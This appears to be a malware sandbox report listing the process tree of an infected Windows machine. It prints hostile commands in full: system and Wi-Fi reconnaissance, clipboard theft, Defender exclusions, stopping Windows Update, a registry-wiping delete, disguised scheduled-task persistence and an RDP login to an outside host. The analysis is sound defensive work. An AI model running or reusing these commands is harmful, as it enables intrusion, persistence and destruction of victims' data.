C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"5⤵
- Clipboard Data
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Get-Clipboard6⤵
- Clipboard Data
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "chcp"5⤵
-
C:\Windows\system32\chcp.comchcp6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "chcp"5⤵
-
C:\Windows\system32\chcp.comchcp6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"5⤵
- Network Service Discovery
-
C:\Windows\system32\systeminfo.exesysteminfo6⤵
- Gathers system information
-
-
C:\Windows\system32\HOSTNAME.EXEhostname6⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic logicaldisk get caption,description,providername6⤵
- Collects information from the system
-
-
C:\Windows\system32\net.exenet user6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user7⤵
-
-
-
C:\Windows\system32\query.exequery user6⤵
-
C:\Windows\system32\quser.exe"C:\Windows\system32\quser.exe"7⤵
-
-
-
C:\Windows\system32\net.exenet localgroup6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup7⤵
-
-
-
C:\Windows\system32\net.exenet localgroup administrators6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup administrators7⤵
-
-
-
C:\Windows\system32\net.exenet user guest6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user guest7⤵
-
-
-
C:\Windows\system32\net.exenet user administrator6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user administrator7⤵
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic startup get caption,command6⤵
-
-
C:\Windows\system32\tasklist.exetasklist /svc6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"5⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profiles6⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1111.exe"C:\Users\Admin\AppData\Local\Temp\Files\1111.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dccrypt.exe"C:\Users\Admin\AppData\Local\Temp\Files\dccrypt.exe"3⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\serverperf\Rf9n8rAaQutOZQd6TFDgcQ0Y3BLG9XLXz1nDso2.vbe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\serverperf\gc411KmXHpEBvwsmBcLMcGXH8jhoDdLsi9TAz2QKUXLoYkYDWV2rtqOl.bat" "5⤵
-
C:\serverperf\Portwebwin.exe"C:\serverperf/Portwebwin.exe"6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Z9Pp9pM.exe"C:\Users\Admin\AppData\Local\Temp\Files\Z9Pp9pM.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ITplan.exe"C:\Users\Admin\AppData\Local\Temp\Files\ITplan.exe"3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\65FE.tmp\65FF.tmp\6600.bat C:\Users\Admin\AppData\Local\Temp\Files\ITplan.exe"4⤵
-
C:\Windows\system32\cmdkey.execmdkey /generic: 211.168.94.177 /user:"exporter" /pass:"09EC^2n09"5⤵
-
-
C:\Windows\system32\mstsc.exemstsc /v: 211.168.94.1775⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\FACT0987789000900.exe"C:\Users\Admin\AppData\Local\Temp\Files\FACT0987789000900.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\GIFT-INFO.lMG.exe"C:\Users\Admin\AppData\Local\Temp\Files\GIFT-INFO.lMG.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\GIFT-INFO.lMG.exe"C:\Users\Admin\AppData\Local\Temp\Files\GIFT-INFO.lMG.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Statement-110122025.exe"C:\Users\Admin\AppData\Local\Temp\Files\Statement-110122025.exe"3⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\c13606fe9009f11d\setup.msi"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hell9o.exe"C:\Users\Admin\AppData\Local\Temp\Files\hell9o.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\regdel.CMD4⤵
-
C:\Windows\system32\reg.exereg DELETE HKEY_CLASSES_ROOT /f5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\rj2wofc38q.exe"C:\Users\Admin\AppData\Local\Temp\Files\rj2wofc38q.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\rj2wofc38q.exe"C:\Users\Admin\AppData\Local\Temp\Files\rj2wofc38q.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\tdrpload.exe"C:\Users\Admin\AppData\Local\Temp\Files\tdrpload.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchosts.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchosts.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\prem1.exe"C:\Users\Admin\AppData\Local\Temp\Files\prem1.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\RMS1.exe"C:\Users\Admin\AppData\Local\Temp\Files\RMS1.exe"3⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x11c,0x120,0x124,0xf8,0xa4,0x7ffb2435cc40,0x7ffb2435cc4c,0x7ffb2435cc583⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1952,i,16294943843941982083,16872312599780656693,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1936 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2192,i,16294943843941982083,16872312599780656693,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2212 /prefetch:33⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2264,i,16294943843941982083,16872312599780656693,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2452 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3156,i,16294943843941982083,16872312599780656693,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3176 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3204,i,16294943843941982083,16872312599780656693,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3248 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3724,i,16294943843941982083,16872312599780656693,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4600 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4768,i,16294943843941982083,16872312599780656693,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4800 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5080,i,16294943843941982083,16872312599780656693,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5096 /prefetch:83⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Cvimelugfq.exe"C:\Users\Admin\AppData\Local\Temp\Files\Cvimelugfq.exe"2⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
C:\ProgramData\jmqid\ljid.exe"C:\ProgramData\jmqid\ljid.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"2⤵
-
-
C:\ProgramData\jmqid\ljid.exe"C:\ProgramData\jmqid\ljid.exe"2⤵
-
-
C:\ProgramData\jmqid\ljid.exe"C:\ProgramData\jmqid\ljid.exe"2⤵
-
-
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exeC:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"3⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\cmd.execmd.exe4⤵
- Blocklisted process makes network request
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"3⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\cmd.execmd.exe4⤵
- Blocklisted process makes network request
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"3⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\cmd.execmd.exe4⤵
- Blocklisted process makes network request
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"3⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"3⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"3⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
-
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Blocklisted process makes network request
- Modifies data under HKEY_USERS
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 436 -ip 4361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5196 -ip 51961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 180 -p 4484 -ip 44841⤵
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
- Executes dropped EXE
